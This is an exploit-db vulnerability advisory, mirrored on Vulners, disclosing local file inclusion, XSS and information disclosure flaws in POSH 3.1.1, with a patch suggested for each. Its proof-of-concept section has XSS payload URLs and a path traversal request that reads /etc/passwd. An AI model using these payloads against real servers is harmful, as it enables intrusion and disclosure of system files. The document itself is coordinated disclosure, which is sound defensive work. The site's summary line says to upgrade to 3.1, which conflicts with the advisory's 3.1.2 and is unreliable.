Lucene search
K

POSH - Multiple Vulnerabilities

🗓️ 10 Oct 2011 00:00:00Reported by CrashfrType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 19 Views

POSH 3.1.1 Multiple Vulnerabilities including Local File Inclusion, Cross-Site Scripting (XSS), and Information Disclosure. Upgrade to version 3.1.

Code
# Exploit Title: POSH <= 3.1.1 Multiple Vulnerabilities
# Date: 10/10/2011
# Author: CrashFr
# Software Link: http://sourceforge.net/projects/posh/
# Version: 3.1.1
# Tested on: Linux
#


//----- Advisory

Program          : POSH 3.1.1 and prior
Vendor           : www.portaneo.com
Homepage         : http://sourceforge.net/projects/posh/
Discovery        : 2011/09/19
Author Contacted : 2011/09/20
Found by         : CrashFr
This Advisory    : CrashFr

//----- Application description


POSH (Portaneo Open Source Homepage) is a personalizable interface (Netvibes, iGoogle) that can be used in a web application or educational / enterprise intranet context. Enterprise version adds social network, notebooks and search feature.


//----- Description of vulnerability


Local File Inclusion, Cross-Site Scripting (XSS) and Information Disclosure vulnerabilities were identified within POSH version 3.1.1


//----- Proof Of Concept


--- Information disclosure ---
- http://localhost/posh/portal/login.php?lang=fr-en
	- Vulnerability at includes/sessions.inc.php
		Replace:
		if (    preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) {
			$_SESSION['lang'] = $_GET["lang"];
		By:
		if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {
			$_SESSION['lang'] = $_GET["lang"];


--- XSS ---
- http://localhost/posh/portal/login.php?message=XSS%20Catched%20!%22%29%29;alert%28%22XSS%22%29;//
	- Vulnerability at: templates/default/login.php line 42
		Replace: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.$message.'"));</script></font><br /><br />';
		By: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.htmlspecialchars($message).'"));</script></font><br /><br />';

- http://localhost/posh/admin/login.php?extid=ok%22%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
	- Vulnerability at: templates/default/login_adminsimplified.php line 93
		Replace: <input type="hidden" name="extid" maxlength="16" value="<?php echo $extid; ?>" class="thinbox" />
		By: <input type="hidden" name="extid" maxlength="16" value="<?php if(is_int($extid)){ echo $extid; } ?>" class="thinbox" />
- http://localhost/posh/admin/index.php?extid=1%29;alert%28%27XSS%27
	- Vulnerability at: templates/default/index_adminsimplified.php line 67 and 70
		Replace: $p.admin.widgets.loadModExtId(<?php echo $extid; ?>);
		By: $p.admin.widgets.loadModExtId(<?php if(is_int($extid)){ echo $extid; } ?>);
		Replace: $p.admin.widgets.refreshIcons(icon,<?php echo $extid; ?>);
		By: $p.admin.widgets.refreshIcons(icon,<?php if(is_int($extid)){ echo $extid; } ?>);


--- Local File Inclusion ---
- http://localhost/posh/portal/scr_changelang.php => POST lang=../../../../../../etc/passwd%00
	POST http://localhost/posh/portal/scr_changelang.php HTTP/1.1
	lang=../../../../../../../../../../../../../../../../etc/passwd%00
	
	- Call http://localhost/posh/portal/moduleff.php for example to see the result (a lot of page use __LANG to include lang file)
	- Vulnerability at portal/scr_changelang.php line 67
		Replace: $_SESSION['lang']=$lang;
		By: if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) {
			$_SESSION['lang']=$lang;
		    }


//----- Solution

Apply patchs
Upgrade POSH to 3.1.2


//----- Vulnerability Timeline
 
2011-09-20 - Reported to vendor
2011-09-21 - Vendor Reply
2011-09-25 - Vendor released POSH 3.1.2
2011-10-10 - Vulnerability Disclosed


//----- Credits


http://www.sysdream.com

crashfr at sysdream dot com


//----- Greetings

HZV (http://www.hackerzvoice.net)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation